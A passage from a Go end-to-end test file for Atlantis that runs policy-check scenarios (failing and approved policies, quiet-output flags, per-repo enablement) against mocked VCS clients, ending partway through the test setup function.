{\n\t\t\t\tif string(oldLockFileContent) != string(actualLockFileContent) {\n\t\t\t\t\tt.Error(\"Expected terraform.lock.hcl file not to be different as it has been staged\")\n\t\t\t\t\tt.FailNow()\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif string(oldLockFileContent) == string(actualLockFileContent) {\n\t\t\t\t\tt.Error(\"Expected terraform.lock.hcl file to be different as it should have been updated\")\n\t\t\t\t\tt.FailNow()\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Let's verify the pre-workflow hook was called for each comment including the pull request opened event\n\t\t\tmockPreWorkflowHookRunner.VerifyWasCalled(Times(2)).Run(Any[models.WorkflowHookCommandContext](),\n\t\t\t\tEq(\"some dummy command\"), Any[string](), Any[string](), Any[string]())\n\n\t\t\t// Now we're ready to verify Atlantis made all the comments back (or\n\t\t\t// replies) that we expect.  We expect each plan to have 1 comment,\n\t\t\t// and apply have 1 for each comment plus one for the locks deleted at the\n\t\t\t// end.\n\n\t\t\t_, _, _, actReplies, _ := vcsClient.VerifyWasCalled(Times(2)).CreateComment(\n\t\t\t\tAny[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()).GetAllCapturedArguments()\n\t\t\tAssert(t, len(c.ExpReplies) == len(actReplies), \"missing expected replies, got %d but expected %d\", len(actReplies), len(c.ExpReplies))\n\t\t\tfor i, expReply := range c.ExpReplies {\n\t\t\t\tassertCommentEquals(t, expReply, actReplies[i], c.RepoDir, false)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestGitHubWorkflowWithPolicyCheck(t *testing.T) {\n\tif testing.Short() {\n\t\tt.SkipNow()\n\t}\n\t// Ensure we have >= TF 0.14 locally.\n\tensureRunning014(t)\n\t// Ensure we have conftest locally.\n\tensureRunningConftest(t)\n\n\tcases := []struct {\n\t\tDescription string\n\t\t// RepoDir is relative to testdata/test-repos.\n\t\tRepoDir string\n\t\t// ModifiedFiles are the list of files that have been modified in this\n\t\t// pull request.\n\t\tModifiedFiles []string\n\t\t// Comments are what our mock user writes to the pull request.\n\t\tComments []string\n\t\t// PolicyCheck is true if we expect Atlantis to run policy checking\n\t\tPolicyCheck bool\n\t\t// ExpAutomerge is true if we expect Atlantis to automerge.\n\t\tExpAutomerge bool\n\t\t// ExpAutoplan is true if we expect Atlantis to autoplan.\n\t\tExpAutoplan bool\n\t\t// ExpPolicyChecks is true if we expect Atlantis to execute policy checks\n\t\tExpPolicyChecks bool\n\t\t// ExpQuietPolicyChecks is true if we expect Atlantis to exclude policy check output\n\t\t// when there's no error\n\t\tExpQuietPolicyChecks bool\n\t\t// ExpQuietPolicyCheckFailure is true when we expect Atlantis to post back policy check failures\n\t\t// even when QuietPolicyChecks is enabled\n\t\tExpQuietPolicyCheckFailure bool\n\t\t// ExpParallel is true if we expect Atlantis to run parallel plans or applies.\n\t\tExpParallel bool\n\t\t// ExpReplies is a list of files containing the expected replies that\n\t\t// Atlantis writes to the pull request in order. A reply from a parallel operation\n\t\t// will be matched using a substring check.\n\t\tExpReplies [][]string\n\t}{\n\t\t{\n\t\t\tDescription:     \"1 failing policy and 1 passing policy \",\n\t\t\tRepoDir:         \"policy-checks-multi-projects\",\n\t\t\tModifiedFiles:   []string{\"dir1/main.tf,\", \"dir2/main.tf\"},\n\t\t\tPolicyCheck:     true,\n\t\t\tExpAutoplan:     true,\n\t\t\tExpPolicyChecks: true,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis apply\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-auto-policy-check.txt\"},\n\t\t\t\t{\"exp-output-apply.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:                \"1 failing policy and 1 passing policy with --quiet-policy-checks\",\n\t\t\tRepoDir:                    \"policy-checks-multi-projects\",\n\t\t\tModifiedFiles:              []string{\"dir1/main.tf,\", \"dir2/main.tf\"},\n\t\t\tPolicyCheck:                true,\n\t\t\tExpAutoplan:                true,\n\t\t\tExpPolicyChecks:            true,\n\t\t\tExpQuietPolicyChecks:       true,\n\t\t\tExpQuietPolicyCheckFailure: true,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis apply\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-auto-policy-check-quiet.txt\"},\n\t\t\t\t{\"exp-output-apply.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:     \"failing policy without policies passing using extra args\",\n\t\t\tRepoDir:         \"policy-checks-extra-args\",\n\t\t\tModifiedFiles:   []string{\"main.tf\"},\n\t\t\tPolicyCheck:     true,\n\t\t\tExpAutoplan:     true,\n\t\t\tExpPolicyChecks: true,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis apply\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-auto-policy-check.txt\"},\n\t\t\t\t{\"exp-output-apply-failed.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:     \"failing policy without policies passing\",\n\t\t\tRepoDir:         \"policy-checks\",\n\t\t\tModifiedFiles:   []string{\"main.tf\"},\n\t\t\tPolicyCheck:     true,\n\t\t\tExpAutoplan:     true,\n\t\t\tExpPolicyChecks: true,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis apply\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-auto-policy-check.txt\"},\n\t\t\t\t{\"exp-output-apply-failed.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:     \"failing policy without policies passing and custom run steps\",\n\t\t\tRepoDir:         \"policy-checks-custom-run-steps\",\n\t\t\tModifiedFiles:   []string{\"main.tf\"},\n\t\t\tPolicyCheck:     true,\n\t\t\tExpAutoplan:     true,\n\t\t\tExpPolicyChecks: true,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis apply\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-auto-policy-check.txt\"},\n\t\t\t\t{\"exp-output-apply-failed.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:     \"failing policy additional apply requirements specified\",\n\t\t\tRepoDir:         \"policy-checks-apply-reqs\",\n\t\t\tModifiedFiles:   []string{\"main.tf\"},\n\t\t\tPolicyCheck:     true,\n\t\t\tExpAutoplan:     true,\n\t\t\tExpPolicyChecks: true,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis apply\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-auto-policy-check.txt\"},\n\t\t\t\t{\"exp-output-apply-failed.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:     \"failing policy approved by non owner\",\n\t\t\tRepoDir:         \"policy-checks-diff-owner\",\n\t\t\tModifiedFiles:   []string{\"main.tf\"},\n\t\t\tPolicyCheck:     true,\n\t\t\tExpAutoplan:     true,\n\t\t\tExpPolicyChecks: true,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis approve_policies\",\n\t\t\t\t\"atlantis apply\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-auto-policy-check.txt\"},\n\t\t\t\t{\"exp-output-approve-policies.txt\"},\n\t\t\t\t{\"exp-output-apply-failed.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:          \"successful policy checks with quiet flag enabled\",\n\t\t\tRepoDir:              \"policy-checks-success-silent\",\n\t\t\tModifiedFiles:        []string{\"main.tf\"},\n\t\t\tPolicyCheck:          true,\n\t\t\tExpAutoplan:          true,\n\t\t\tExpPolicyChecks:      true,\n\t\t\tExpQuietPolicyChecks: true,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis apply\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-apply.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:                \"failing policy checks with quiet flag enabled\",\n\t\t\tRepoDir:                    \"policy-checks\",\n\t\t\tModifiedFiles:              []string{\"main.tf\"},\n\t\t\tPolicyCheck:                true,\n\t\t\tExpAutoplan:                true,\n\t\t\tExpPolicyChecks:            true,\n\t\t\tExpQuietPolicyChecks:       true,\n\t\t\tExpQuietPolicyCheckFailure: true,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis apply\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-auto-policy-check.txt\"},\n\t\t\t\t{\"exp-output-apply-failed.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:     \"failing policy with approval and policy approval clear\",\n\t\t\tRepoDir:         \"policy-checks-clear-approval\",\n\t\t\tModifiedFiles:   []string{\"main.tf\"},\n\t\t\tPolicyCheck:     true,\n\t\t\tExpAutoplan:     true,\n\t\t\tExpPolicyChecks: true,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis approve_policies\",\n\t\t\t\t\"atlantis approve_policies --clear-policy-approval\",\n\t\t\t\t\"atlantis apply\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-auto-policy-check.txt\"},\n\t\t\t\t{\"exp-output-approve-policies-success.txt\"},\n\t\t\t\t{\"exp-output-approve-policies-clear.txt\"},\n\t\t\t\t{\"exp-output-apply-failed.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:     \"policy checking disabled on specific repo\",\n\t\t\tRepoDir:         \"policy-checks-disabled-repo\",\n\t\t\tModifiedFiles:   []string{\"main.tf\"},\n\t\t\tPolicyCheck:     true,\n\t\t\tExpAutoplan:     true,\n\t\t\tExpPolicyChecks: false,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis apply\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-apply.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:     \"policy checking disabled on specific repo server side\",\n\t\t\tRepoDir:         \"policy-checks-disabled-repo-server-side\",\n\t\t\tModifiedFiles:   []string{\"main.tf\"},\n\t\t\tPolicyCheck:     true,\n\t\t\tExpAutoplan:     true,\n\t\t\tExpPolicyChecks: false,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis apply\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-apply.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:     \"policy checking enabled on specific repo but disabled globally\",\n\t\t\tRepoDir:         \"policy-checks-enabled-repo\",\n\t\t\tModifiedFiles:   []string{\"main.tf\"},\n\t\t\tPolicyCheck:     false,\n\t\t\tExpAutoplan:     true,\n\t\t\tExpPolicyChecks: false,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis apply\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-apply.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:     \"policy checking enabled on specific repo server side but disabled globally\",\n\t\t\tRepoDir:         \"policy-checks-enabled-repo-server-side\",\n\t\t\tModifiedFiles:   []string{\"main.tf\"},\n\t\t\tPolicyCheck:     false,\n\t\t\tExpAutoplan:     true,\n\t\t\tExpPolicyChecks: false,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis apply\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-apply.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:     \"policy checking disabled on previous regex match but not on repo\",\n\t\t\tRepoDir:         \"policy-checks-disabled-previous-match\",\n\t\t\tModifiedFiles:   []string{\"main.tf\"},\n\t\t\tPolicyCheck:     true,\n\t\t\tExpAutoplan:     true,\n\t\t\tExpPolicyChecks: false,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis apply\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-apply.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.Description, func(t *testing.T) {\n\t\t\tRegisterMockTestingT(t)\n\n\t\t\t// reset userConfig\n\t\t\tuserConfig = server.UserConfig{}\n\t\t\tuserConfig.EnablePolicyChecksFlag = c.PolicyCheck\n\t\t\tuserConfig.QuietPolicyChecks = c.ExpQuietPolicyChecks\n\n\t\t\tctrl, vcsClient, githubGetter, atlantisWorkspace := setupE2E(t, c.RepoDir, setupOption{userConfig: userConfig})\n\n\t\t\t// Set the repo to be cloned through the testing backdoor.\n\t\t\trepoDir, headSHA := initializeRepo(t, c.RepoDir)\n\t\t\tatlantisWorkspace.TestingOverrideHeadCloneURL = fmt.Sprintf(\"file://%s\", repoDir)\n\n\t\t\t// Setup test dependencies.\n\t\t\tw := httptest.NewRecorder()\n\t\t\tWhen(vcsClient.PullIsMergeable(\n\t\t\t\tAny[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Eq(\"atlantis-test\"), Eq([]string{}))).ThenReturn(models.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t}, nil)\n\t\t\tWhen(vcsClient.PullIsApproved(\n\t\t\t\tAny[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(models.ApprovalStatus{\n\t\t\t\tIsApproved: true,\n\t\t\t}, nil)\n\t\t\tWhen(githubGetter.GetPullRequest(\n\t\t\t\tAny[logging.SimpleLogging](), Any[models.Repo](), Any[int]())).ThenReturn(GitHubPullRequestParsed(headSHA), nil)\n\t\t\tWhen(vcsClient.GetModifiedFiles(\n\t\t\t\tAny[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(c.ModifiedFiles, nil)\n\n\t\t\t// First, send the open pull request event which triggers autoplan.\n\t\t\tpullOpenedReq := GitHubPullRequestOpenedEvent(t, headSHA)\n\t\t\tctrl.Post(w, pullOpenedReq)\n\t\t\tResponseContains(t, w, 200, \"Processing...\")\n\n\t\t\t// Now send any other comments.\n\t\t\tfor _, comment := range c.Comments {\n\t\t\t\tcommentReq := GitHubCommentEvent(t, comment)\n\t\t\t\tw = httptest.NewRecorder()\n\t\t\t\tctrl.Post(w, commentReq)\n\t\t\t\tResponseContains(t, w, 200, \"Processing...\")\n\t\t\t}\n\n\t\t\t// Send the \"pull closed\" event which would be triggered by the\n\t\t\t// automerge or a manual merge.\n\t\t\tpullClosedReq := GitHubPullRequestClosedEvent(t)\n\t\t\tw = httptest.NewRecorder()\n\t\t\tctrl.Post(w, pullClosedReq)\n\t\t\tResponseContains(t, w, 200, \"Pull request cleaned successfully\")\n\n\t\t\t// Now we're ready to verify Atlantis made all the comments back (or\n\t\t\t// replies) that we expect.  We expect each plan to have 2 comments,\n\t\t\t// one for plan one for policy check and apply have 1 for each\n\t\t\t// comment plus one for the locks deleted at the end.\n\t\t\texpNumReplies := len(c.Comments) + 1\n\n\t\t\tif c.ExpAutoplan {\n\t\t\t\texpNumReplies++\n\t\t\t\texpNumReplies++\n\t\t\t}\n\n\t\t\tvar planRegex = regexp.MustCompile(\"plan\")\n\t\t\tfor _, comment := range c.Comments {\n\t\t\t\tif planRegex.MatchString(comment) {\n\t\t\t\t\texpNumReplies++\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif c.ExpAutomerge {\n\t\t\t\texpNumReplies++\n\t\t\t}\n\n\t\t\tif c.ExpQuietPolicyChecks && !c.ExpQuietPolicyCheckFailure {\n\t\t\t\texpNumReplies--\n\t\t\t}\n\n\t\t\tif !c.ExpPolicyChecks {\n\t\t\t\texpNumReplies--\n\t\t\t}\n\t\t\t_, _, _, actReplies, _ := vcsClient.VerifyWasCalled(Times(expNumReplies)).CreateComment(\n\t\t\t\tAny[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()).GetAllCapturedArguments()\n\n\t\t\tAssert(t, len(c.ExpReplies) == len(actReplies), \"missing expected replies, got %d but expected %d\", len(actReplies), len(c.ExpReplies))\n\t\t\tfor i, expReply := range c.ExpReplies {\n\t\t\t\tassertCommentEquals(t, expReply, actReplies[i], c.RepoDir, c.ExpParallel)\n\t\t\t}\n\n\t\t\tif c.ExpAutomerge {\n\t\t\t\t// Verify that the merge API call was made.\n\t\t\t\tvcsClient.VerifyWasCalledOnce().MergePull(Any[logging.SimpleLogging](), Any[models.PullRequest](), Any[models.PullRequestOptions]())\n\t\t\t} else {\n\t\t\t\tvcsClient.VerifyWasCalled(Never()).MergePull(Any[logging.SimpleLogging](), Any[models.PullRequest](), Any[models.PullRequestOptions]())\n\t\t\t}\n\t\t})\n\t}\n}\n\ntype setupOption struct {\n\trepoConfigFile          string\n\tallowCommands           []command.Name\n\tdisableAutoplan         bool\n\tdisablePreWorkflowHooks bool\n\tuserConfig              server.UserConfig\n}\n\nfunc setupE2E(t *testing.T, repoDir string, opt setupOption) (events_controllers.VCSEventsController, *vcsmocks.MockClient, *mocks.MockGithubPullGetter, *events.FileWorkspace) {\n\tallowForkPRs := false\n\tdiscardApprovalOnPlan := true\n\tdataDir, binDir, cacheDir := mkSubDirs(t)\n\t// Mocks.\n\te2eVCSClient := vcsmocks.NewMockClient()\n\te2eStatusUpdater := &events.DefaultCommitStatusUpdater{Client: e2eVCSClient}\n\te2eGithubGetter := mocks.NewMockGithubPullGetter()\n\te2eGitlabGetter := mocks.NewMockGitlabMergeRequestGetter()\n\tprojectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler()\n\n\t// Real dependencies.\n\tlogging.SuppressDefaultLogging()\n\tlogger := logging.NewNoopLogger(t)\n\n\teventParser := &events.EventParser{\n\t\tGithubUser:  \"github-user\",\n\t\tGithubToken: \"github-token\",\n\t\tGitlabUser:  \"gitlab-user\",\n\t\tGitlabToken: \"gitlab-token\",\n\t}\n\tallowCommands := command.AllCommentCommands\n\tif opt.allowCommands != nil {\n\t\tallowCommands = opt.allowCommands\n\t}\n\tdisableApply := true\n\tdisableGlobalApplyLock := false\n\tif slices.Contains(allowCommands, command.Apply) {\n\t\tdisableApply = false\n\t}\n\tcommentParser := &events.CommentParser{\n\t\tGithubUser:     \"github-user\",\n\t\tGitlabUser:     \"gitlab-user\",\n\t\tExecutableName: \"atlantis\",\n\t\tAllowCommands:  allowCommands,\n\t}\n\n\tmockDownloader := terraform_mocks.NewMockDownloader()\n\tdistribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader)\n\n\tterraformClient, err := tfclient.NewClient(logger, distribution, binDir, cacheDir, \"\", \"\", \"\", \"default-tf-version\", \"https://releases.hashicorp.com\", true, false, projectCmdOutputHandler)\n\tOk(t, err)\n\tb, err := boltdb.New(dataDir)\n\tOk(t, err)\n\tdatabase := b\n\tlockingClient := locking.NewClient(b)\n\tnoOpLocker := locking.NewNoOpLocker()\n\tapplyLocker = locking.NewApplyClient(b, disableApply, disableGlobalApplyLock)\n\tprojectLocker := &events.DefaultProjectLocker{\n\t\tLocker:     lockingClient,\n\t\tNoOpLocker: noOpLocker,\n\t\tVCSClient:  e2eVCSClient,\n\t}\n\tworkingDir := &events.FileWorkspace{\n\t\tDataDir:                     dataDir,\n\t\tTestingOverrideHeadCloneURL: \"override-me\",\n\t}\n\tvar preWorkflowHooks []*valid.WorkflowHook\n\tif !opt.disablePreWorkflowHooks {\n\t\tpreWorkflowHooks = []*valid.WorkflowHook{\n\t\t\t{\n\t\t\t\tStepName:   \"global_hook\",\n\t\t\t\tRunCommand: \"some dummy command\",\n\t\t\t},\n\t\t}\n\t}\n\n\tdefaultTFDistribution := terraformClient.DefaultDistribution()\n\tdefaultTFVersion := terraformClient.DefaultVersion()\n\tlocker := events.NewDefaultWorkingDirLocker()\n\tparser := &config.ParserValidator{}\n\n\tglobalCfgArgs := valid.GlobalCfgArgs{\n\t\tRepoConfigFile:       opt.repoConfigFile,\n\t\tAllowAllRepoSettings: true,\n\t\tPreWorkflowHooks:     preWorkflowHooks,\n\t\tPostWorkflowHooks: []*valid.WorkflowHook{\n\t\t\t{\n\t\t\t\tStepName:   \"global_hook\",\n\t\t\t\tRunCommand: \"some post dummy command\",\n\t\t\t},\n\t\t},\n\t\tPolicyCheckEnabled: userConfig.EnablePolicyChecksFlag,\n\t}\n\tglobalCfg := valid.NewGlobalCfgFromArgs(globalCfgArgs)\n\texpCfgPath := filepath.Join(absRepoPath(t, repoDir), \"repos.yaml\")\n\tif _, err := os.Stat(expCfgPath); err == nil {\n\t\tglobalCfg, err = parser.ParseGlobalCfg(expCfgPath, globalCfg)\n\t\tOk(t, err)\n\t}\n\tdrainer := &events.Drainer{}\n\n\tparallelPoolSize := 1\n\tsilenceNoProjects := false\n\n\tdisableUnlockLabel := \"do-not-unlock\"\n\n\tstatusUpdater := runtimemocks.NewMockStatusUpdater()\n\tcommitStatusUpdater := mocks.NewMockCommitStatusUpdater()\n\tasyncTfExec := runtimemocks.NewMockAsyncTFExec()\n\n\tmockPreWorkflowHookRunner = runtimemocks.NewMockPreWorkflowHookRunner()\n\tpreWorkflowHookURLGenerator := mocks.NewMockPreWorkflowHookURLGenerator()\n\tpreWorkflowHooksCommandRunner := &events.DefaultPreWorkflowHooksCommandRunner{\n\t\tVCSClient:             e2eVCSClient,\n\t\tGlobalCfg:             globalCfg,\n\t\tWorkingDirLocker:      locker,\n\t\tWorkingDir:            workingDir,\n\t\tPreWorkflowHookRunner: mockPreWorkflowHookRunner,\n\t\tCommitStatusUpdater:   commitStatusUpdater,\n\t\tRouter:                preWorkflowHookURLGenerator,\n\t}\n\n\tmockPostWorkflowHookRunner = runtimemocks.NewMockPostWorkflowHookRunner()\n\tpostWorkflowHookURLGenerator := mocks.NewMockPostWorkflowHookURLGenerator()\n\tpostWorkflowHooksCommandRunner := &events.DefaultPostWorkflowHooksCommandRunner{\n\t\tVCSClient:              e2eVCSClient,\n\t\tGlobalCfg:              globalCfg,\n\t\tWorkingDirLocker:       locker,\n\t\tWorkingDir:             workingDir,\n\t\tPostWorkflowHookRunner: mockPostWorkflowHookRunner,\n\t\tCommitStatusUpdater:    commitStatusUpdater,\n\t\tRouter:                 postWorkflowHookURLGenerator,\n\t}\n\tstatsScope := metricstest.NewLoggingScope(t, logger, \"atlantis\")\n\n\tprojectCommandBuilder := events.NewProjectCommandBuilder(\n\t\tuserConfig.EnablePolicyChecksFlag,\n\t\tparser,\n\t\t&events.DefaultProjectFinder{},\n\t\te2eVCSClient,\n\t\tworkingDir,\n\t\tlocker,\n\t\tglobalCfg,\n\t\t&events.DefaultPendingPlanFinder{},\n\t\tcommentParser,\n\t\tfalse,\n\t\tfalse,\n\t\tfalse,\n\t\tfalse,\n\t\tfalse,\n\t\t\"\",\n\t\t\"**/*.tf,**/*.tfvars,**/*.tfvars.json,**/terragrunt.hcl,**/.terraform.lock.hcl\",\n\t\tfalse,\n\t\tfalse,\n\t\tfalse,\n\t\t\"auto\",\n\t\tstatsScope,\n\t\tterraformClient,\n\t)\n\n\tshowStepRunner, err := runtime.NewShowStepRunner(terraformClient, defaultTFDistribution, defaultTFVersion)\n\n\tOk(t, err)\n\n\tconftextExec := policy.NewConfTestExecutorWorkflow(logger, binDir, mock_policy.NewMockDownloader())\n\n\t// swapping out version cache to something that always returns local conftest\n\t// binary\n\tconftextExec.VersionCache = &LocalConftestCache{}\n\n\tpolicyCheckRunner, err := runtime.NewPolicyCheckStepRunner(\n\t\tdefaultTFDistribution,\n\t\tdefaultTFVersion,\n\t\tconftextExec,\n\t)\n\n\tOk(t, err)\n\n\tcancellationTracker := events.NewCancellationTracker()\n\n\tprojectCommandRunner := &events.DefaultProjectCommandRunner{\n\t\tVcsClient:        e2eVCSClient,\n\t\tLocker:           projectLocker,\n\t\tLockURLGenerator: &mockLockURLGenerator{},\n\t\tInitStepRunner: &runtime.InitStepRunner{\n\t\t\tTerraformExecutor:     terraformClient,\n\t\t\tDefaultTFDistribution: defaultTFDistribution,\n\t\t\tDefaultTFVersion:      defaultTFVersion,\n\t\t},\n\t\tPlanStepRunner: runtime.NewPlanStepRunner(\n\t\t\tterraformClient,\n\t\t\tdefaultTFDistribution,\n\t\t\tdefaultTFVersion,\n\t\t\tstatusUpdater,\n\t\t\tasyncTfExec,\n\t\t),\n\t\tShowStepRunner:        showStepRunner,\n\t\tPolicyCheckStepRunner: policyCheckRunner,\n\t\tApplyStepRunner: &runtime.ApplyStepRunner{\n\t\t\tTerraformExecutor: terraformClient,\n\t\t},\n\t\tImportStepRunner:  runtime.NewImportStepRunner(terraformClient, defaultTFDistribution, defaultTFVersion),\n\t\tStateRmStepRunner: runtime.NewStateRmStepRunner(terraformClient, defaultTFDistribution, defaultTFVersion),\n\t\tRunStepRunner: &runtime.RunStepRunner{\n\t\t\tTerraformExecutor:       terraformClient,\n\t\t\tDefaultTFDistribution:   defaultTFDistribution,\n\t\t\tDefaultTFVersion:        defaultTFVersion,\n\t\t\tProjectCmdOutputHandler: projectCmdOutputHandler,\n\t\t},\n\t\tWorkingDir:       workingDir,\n\t\tWebhooks:         &mockWebhookSender{},\n\t\tWorkingDirLocker: locker,\n\t\tCommandRequirementHandler: &events.DefaultCommandRequirementHandler{\n\t\t\tWorkingDir: workingDir,\n\t\t},\n\t\tCancellationTracker: cancellationTracker,\n\t}\n\n\tdbUpdater := &events.DBUpdater{\n\t\tDatabase: database,\n\t}\n\n\tpullUpdater := &events.PullUpdater{\n\t\tHidePrevPlanComments: false,\n\t\tVCSClient:            e2eVCSClient,\n\t\tMarkdownRenderer: events.NewMarkdownRenderer(\n\t\t\tfalse,                            // gitlabSupportsCommonMark\n\t\t\tfalse,                            // disableApplyAll\n\t\t\tfalse,                            // disableApply\n\t\t\tfalse,                            // disableMarkdownFolding\n\t\t\tfalse,                            // disableRepoLocking\n\t\t\tfalse,                            // enableDiffMarkdownFormat\n\t\t\t\"\",                               // markdownTemplateOverridesDir\n\t\t\t\"atlantis\",                       // executableName\n\t\t\tfalse,                            // hideUnchangedPlanComments\n\t\t\topt.userConfig.QuietPolicyChecks, // quietPolicyChecks\n\t\t),\n\t}\n\n\tautoMerger := &events.AutoMerger{\n\t\tVCSClient:       e2eVCSClient,\n\t\tGlobalAutomerge: false,\n\t}\n\n\tpolicyCheckCommandRunner := events.NewPolicyCheckCommandRunner(\n\t\tdbUpdater,\n\t\tpullUpdater,\n\t\te2eStatusUpdater,\n\t\tprojectCommandRunner,\n\t\tparallelPoolSize,\n\t\tfalse,\n\t\tuserConfig.QuietPolicyChecks,\n\t)\n\n\te2ePullReqStatusFetcher := vcs.NewPullReqStatusFetcher(e2eVCSClient, \"atlantis-test\", []string{})\n\n\tplanCommandRunner := events.NewPlanCommandRunner(\n\t\tfalse,\n\t\tfalse,\n\t\te2eVCSClient,\n\t\t&events.DefaultPendingPlanFinder{},\n\t\tworkingDir,\n\t\te2eStatusUpdater,\n\t\tprojectCommandBuilder,\n\t\tprojectCommandRunner,\n\t\tcancellationTracker,\n\t\tdbUpdater,\n\t\tpullUpdater,\n\t\tpolicyCheckCommandRunner,\n\t\tautoMerger,\n\t\tparallelPoolSize,\n\t\tsilenceNoProjects,\n\t\tdatabase,\n\t\tlockingClient,\n\t\tdiscardApprovalOnPlan,\n\t\te2ePullReqStatusFetcher,\n\t\tfalse,\n\t)\n\n\tapplyCommandRunner := events.NewApplyCommandRunner(\n\t\te2eVCSClient,\n\t\tfalse,\n\t\tapplyLocker,\n\t\te2eStatusUpdater,\n\t\tprojectCommandBuilder,\n\t\tprojectCommandRunner,\n\t\tcancellationTracker,\n\t\tautoMerger,\n\t\tpullUpdater,\n\t\tdbUpdater,\n\t\tdatabase,\n\t\tparallelPoolSize,\n\t\tsilenceNoProjects,\n\t\tfalse,\n\t\te2ePullReqStatusFetcher,\n\t)\n\n\tapprovePoliciesCommandRunner := 